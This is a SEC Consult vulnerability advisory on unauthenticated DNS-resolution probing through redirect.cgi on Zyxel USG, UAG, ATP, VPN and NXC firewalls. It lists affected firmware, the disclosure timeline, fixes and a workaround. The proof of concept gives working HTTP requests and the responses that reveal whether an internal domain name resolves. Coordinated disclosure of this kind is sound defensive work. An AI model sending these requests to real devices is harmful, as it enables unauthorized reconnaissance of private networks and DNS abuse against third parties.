SEC Consult Vulnerability Lab Security Advisory < 20190829-1 > ======================================================================= title: External DNS Requests product: Zyxel USG/UAG/ATP/VPN/NXC series vulnerable version: see "Vulnerable / tested version" fixed version: see "Solution" CVE number: - impact: medium homepage: https://www.zyxel.com found: 2019-06-19 by: Thomas Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Focused on innovation and customer-centricity, Zyxel Communications Corp. has been connecting people to the internet for nearly 30 years. We keep promoting creativity which meets the needs of customers. This spirit has never been changed since we developed the world's first integrated 3-in-1 data/fax/voice modem in 1992. Our ability to adapt and innovate with networking technology places us at the forefront of understanding connectivity for telco/service providers, businesses and home users. We're building the networks of tomorrow, helping unlock the world's potential and meeting the needs of the modern workplace; powering people at work, life and play. We stand side-by-side with our customers and partners to share new approaches to networking that will unleash their abilities. Loyal friend, powerful ally, reliable resource — we are Zyxel, Your Networking Ally." Source: https://www.zyxel.com/about_zyxel/company_overview.shtml Business recommendation: ------------------------ SEC Consult recommends Zyxel customers to upgrade the firmware to the latest version available. A thorough security review should be performed by security professionals to identify further potential security issues. Vulnerability overview/description: ----------------------------------- 1) Information Disclosure via Unauthenticated External DNS Requests A DNS request can be made by an unauthenticated attacker to either spam a DNS service of a third party with requests that have a spoofed origin or probe whether domain names are present on the internal network behind the firewall. Proof of concept: ----------------- 1) Information Disclosure via Unauthenticated External DNS Requests By sending the following POST request an attacker can probe for the domain "subdomain.domain.com": ------------------------------------------------------------------------------- POST /redirect.cgi?original_url=http%3a%2f%2f192.168.1.1%2f HTTP/1.1 Host: 192.168.1.1 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 16 arip=subdomain.domain.com ------------------------------------------------------------------------------- The following GET request can be used for the same purpose: ------------------------------------------------------------------------------- GET /redirect.cgi?arip=subdomain.domain.com&original_url=http%3a%2f%2f192.168.1.1%2f HTTP/1.1 Host: 192.168.1.1 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 Connection: close Cache-Control: max-age=0 ------------------------------------------------------------------------------- If the domain can be resolved, the response contains the resolved IP address within the cookie value: ------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Mon, 24 Jun 2019 08:14:33 GMT Cache-Control: no-cache, private Pragma: no-cache Expires: Mon, 16 Apr 1973 13:10:00 GMT Set-Cookie: arip=<IP-of-subdomain.domain.com>; path=/ Set-Cookie: zy_pc_browser=1; path=/ Connection: close Content-Type: text/html Content-Length: 9099 [...] ------------------------------------------------------------------------------- If the domain cannot be resolved, a redirection will be returned: ------------------------------------------------------------------------------- HTTP/1.1 302 Found Date: Mon, 24 Jun 2019 08:11:57 GMT Location: ext-js/app/view/login/useraware.html Content-Length: 220 Connection: close Content-Type: text/html; charset=iso-8859-1 [...] ------------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following versions have been tested, other versions might be affected as well: Zyxel USG110 ZLD 4.33 Zyxel USG210 ZLD 4.33 Zyxel USG310 ZLD 4.33 Zyxel USG1100 ZLD 4.33 Zyxel USG1900 ZLD 4.33 Zyxel USG2200-VPN ZLD 4.33 Zyxel UAG2100 ZLD 4.18 Zyxel UAG4100 ZLD 4.18 The vendor provided the following list of affected devices: Zyxel ATP200 ZLD4.33 patch 1 and earlier Zyxel ATP500 ZLD4.33 patch 1 and earlier Zyxel ATP800 ZLD4.33 patch 1 and earlier Zyxel UAG2100 4.18 patch 1 and earlier Zyxel UAG4100 4.18 patch 1 and earlier Zyxel VPN50 SD-OS 10.02 and earlier Zyxel VPN100 SD-OS 10.02 and earlier Zyxel VPN300 SD-OS 10.02 and earlier Zyxel USG20-VPN ZLD4.33 and earlier Zyxel USG20W-VPN ZLD4.33 and earlier Zyxel USG40 ZLD4.33 and earlier Zyxel USG40W ZLD4.33 and earlier Zyxel USG60 ZLD4.33 and earlier Zyxel USG60W ZLD4.33 and earlier Zyxel USG110 ZLD4.33 and earlier Zyxel USG210 ZLD4.33 and earlier Zyxel USG310 ZLD4.33 and earlier Zyxel USG1100 ZLD4.33 and earlier Zyxel USG1900 ZLD4.33 and earlier Zyxel USG2200 ZLD4.33 and earlier Zyxel NXC2500 5.40 and earlier Zyxel NXC5500 5.40 and earlier ------------------------------------------------------------------------------- Vendor contact timeline: ------------------------ 2019-06-26: Contacting vendor through security@zyxel.com.tw. 2019-06-27: Vendor changed PGP key. Sent advisory with new key. Vendor confirmed receipt. 2019-07-03: Asked for an update; Vendor told that they just finished their investigation. 2019-07-09: Vendor provided a full list of devices that are prone to this vulnerability. 2019-07-23: Asked for a timeline; Vendor asked to shift the release of the advisory to 2019-08-29 in order to provide fixes; Shifted advisory release to this date. 2019-08-26: Asked for a status update; Vendor told that fixes are ready to be published at 2019-08-29. 2019-08-29: Coordinated advisory release. Solution: --------- Install the newest firmware for your device from the vendor's website to fix this issue: https://www.zyxel.com/support/download_landing.shtml Additionally, the vendor provides the following security notice: https://www.zyxel.com/support/web-CGI-vulnerability-of-gateways-and-access-point-controllers.shtml Workaround: ----------- Restrict network access to the web interface. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T.Weber / @2019